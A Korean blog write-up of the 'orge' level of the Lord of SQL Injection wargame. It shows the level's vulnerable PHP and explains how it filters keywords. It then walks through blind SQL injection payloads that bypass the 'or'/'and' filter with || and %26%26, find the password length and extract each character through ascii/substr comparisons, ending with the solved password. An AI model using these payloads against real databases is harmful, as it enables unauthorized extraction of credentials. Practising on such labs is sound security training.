728x90
반응형

query : select id from prob_orge where id='guest' and pw=''

 

<?php 

  include "./config.php"

  login_chk(); 

  $db dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 

  if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 

  $query "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"

  echo "<hr>query : <strong>{$query}</strong><hr><br>"

  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"

   

  $_GET[pw] = addslashes($_GET[pw]); 

  $query "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"

  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 

  highlight_file(__FILE__); 

?>

 

PHP 문법

addslashes()

  • DB는 구분 기호인 "  '  \ 등을 사용
  • 하나의 ' (싱글 쿼테이션)나 " (더블 쿼테이션) 같은 구분자가 들어가면 예상치 않은 오류 발생
    ( 'It's an apple' 이렇게  쿼리를 전송하면 It뒤에 ' (싱글 쿼테이션)로 인해 오류 )
  • 'It\'s an apple' 으로 addslashes() 가 \(백슬래시)를 붙여 바꿔 작업 수행

stripslashes ()

  • addslashes함수 반대 기능으로 입력될 때 DB에서 추가되었던 \ (백슬래시)를 제거해주는 함수

 

코드 해석

if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 

  • prob  .  _  () 특수문자 필터링

if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 

  • or  and 대한 필터링

$_GET[pw] = addslashes($_GET[pw]); 

  • " ' ` 등의 기호를 이스케이프하기 때문에 문자열 대입은 힘듬

$query "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

  • admin 대한 pw 대입
  • DB pw 입력한 pw 같으면 문제 해결

 

 

문제 해결

  1. admin pw를 입력해야 문제 해결, Blind Injection 수행
  2. Query에서 True, False 결과가 나오는 위치 확인
  3. Password 길이 확인
  4. ascii 코드를 통해 범위를 줄여가며 Blind Injection 수행

 

 

Query에서 True, False 대입할 위치 확인

  • True, False 결과 확인
  • True : ID guest에 PW 값을 참으로 대입할 경우 Hello guest 문구 출력
    (?pw= ' || 1=1%23)
  • False : ID guest에 PW 값을 거짓으로 대입할 경우 문구 미출력
    (?pw= ' || 1=2%23)

 

 

 

Password 길이 확인

  • Hello admin 출력으로 /거짓 확인
  • and = && = %26%26
  • # = %23
  • pw  8자리

  • 9자리 미만 : True
    (?pw=' || id='admin' %26%26 length(pw)<9%23)

  • 8자리 미만 : False
    (?pw=' || id='admin' %26%26 length(pw)<8%23)

 

 

 

ascii 코드를 통해 범위를 줄여가며 Blind Injection 수행

 

substr() 활용

  • substr(pw,3,2) : pw문자열의 3번째 부터 2글자 출력

  • ascii 코드 번호 56 미만 : True
    (
    ?pw= '||id='admin' %26%26 ascii(substr(pw,1,1))<56%23 )
  • ascii 코드 번호 55 미만 : False
    (
    ?pw= '||id='admin' %26%26 ascii(substr(pw,1,1))<55%23 )
  • pw 첫번째 글자 ascii code 55 ( "7" )

 

 

  • ascii 코드 번호 99 미만 : True
    (
    ?pw= '||id='admin' %26%26 ascii(substr(pw,2,1))<99%23)
  • ascii 코드 번호 98 미만 : False
    (
    ?pw= '||id='admin' %26%26 ascii(substr(pw,2,1))<98%23)
  • pw 두번째 글자 ascii code 98 ( "b" )

 

 

ASCII Code Table

 

Python 활용

 

GET 방식으로 URL에 pw 대입 ( ?pw=7b751aec )

  • query : select id from prob_orc where id='admin' and pw='7b751aec'
728x90

'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글

[ LS - 09 ] vampire  (0) 2021.12.18
[ LS - 08 ] troll  (0) 2021.12.18
[ LS - 06 ] darklef  (0) 2021.12.18
[ LS - 05 ] wolfman  (0) 2021.12.18
[ LS - 04 ] orc  (0) 2021.12.18

+ Recent posts